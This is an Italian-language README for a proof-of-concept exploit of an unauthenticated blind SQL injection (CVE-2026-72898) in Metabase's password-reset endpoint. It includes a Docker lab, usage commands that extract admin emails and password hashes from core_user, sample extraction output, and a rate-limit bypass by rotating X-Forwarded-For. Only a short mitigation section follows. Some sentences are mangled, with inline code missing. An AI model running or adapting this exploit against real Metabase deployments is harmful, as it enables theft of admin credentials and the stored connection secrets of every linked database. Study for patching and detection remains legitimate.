
Exploit di SQL injection blind non autenticata per Metabase, che sfrutta un'iniezione SQL grezza nell'endpoint di reimpostazione della password per estrarre dati tramite tecniche basate sul tempo.
★ CVE-2026-72898 Metabase /api/session/reset_password unauthenticated blind SQLi PoC ★
https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59
CVE-2026-72898 è una SQL injection non autenticata in Metabase (CVSS 10.0) raggiungibile tramite l'endpoint pubblico
POST /api/session/reset_password. L'endpoint unisce il corpo della richiesta con il risultato dell'autenticazione (fallita) —(merge request (authenticate ...))— quindi un campouser-idfornito dall'attaccante sopravvive intatto e raggiunge la ricerca utente nel database applicativot2/select-one :model/User :id user-idsenza alcuna validazione di tipo intero. Metabase costruisce SQL con , il cui map viene compilato come (senza binding di parametri). Inviare come consente quindi di iniettare SQL arbitrario nel database applicativo. L'endpoint restituisce sempre , quindi l'iniezione è ; i dati vengono recuperati con (il database applicativo Postgres standard in produzione). Lo sfruttamento riuscito consente di ottenere i dati amministrativi di Metabase, le credenziali di connessione memorizzate per ogni origine dati collegata e il pieno accesso a quei database.
{:raw "..."}user-id{"raw":"<SQL>"}400pg_sleep| Categoria | Versione |
|---|---|
| Vulnerabili | Metabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4 |
| Corrette | v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 o successive |
pos-int? così che un user-id non intero venga rifiutato prima della queryCrea ed esegui la Metabase vulnerabile. Utilizza un database applicativo Postgres (richiesto — la
tecnica time-based necessita di pg_sleep, che H2 non possiede) e completa automaticamente la configurazione iniziale così che
si avvii su una pagina di login. L'avvio richiede circa 40–60 secondi.
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
| Prerequisito | Stato in questo lab |
|---|---|
| Metabase v58 – v63.4 | v0.62.1 |
Database applicativo Postgres (abilita pg_sleep) | incluso nell'immagine |
/api/session/reset_password raggiungibile senza autenticazione | esposto |
| Limite di richieste per IP (bypassato ruotando X-Forwarded-For) | MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For |
L'exploit metabase_exploit.py legge qualsiasi valore a cui lo punti, senza credenziali, usando
la primitiva blind time-based. Invia un nuovo X-Forwarded-For casuale per ogni richiesta per aggirare il
limite di richieste per IP (come facevano gli attacchi reali). Scegli il target con --extract "<SQL>".
# default: estrae l'email dell'admin
python3 metabase_exploit.py 172.17.0.2:3000
# estrai qualsiasi cosa tu voglia (qualsiasi espressione SQL scalare)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
[*] target http://172.17.0.2:3000/api/session/reset_password
[*] extract (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] length = 15; extracting ...
[ 1] a
[ 2] ad
...
[ 15] [email protected]
[+] EXTRACTED: [email protected]
Opzioni:
--check — conferma solo che l'iniezione è sfruttabile (mostra la differenza di tempo di pg_sleep)--extract "<SQL>" — qualsiasi espressione SQL scalare (convertita automaticamente in testo)--sleep 0.4 — ritardo per bit TRUE (aumentalo su un target lento/remoto)POST /api/session/reset_password a livello di proxy/WAFcore_session), verifica gli account admin e le chiavi API, e ruota le credenziali di connessione di ogni origine dati collegata (presumi che siano state esposte se l'endpoint era raggiungibile da internet)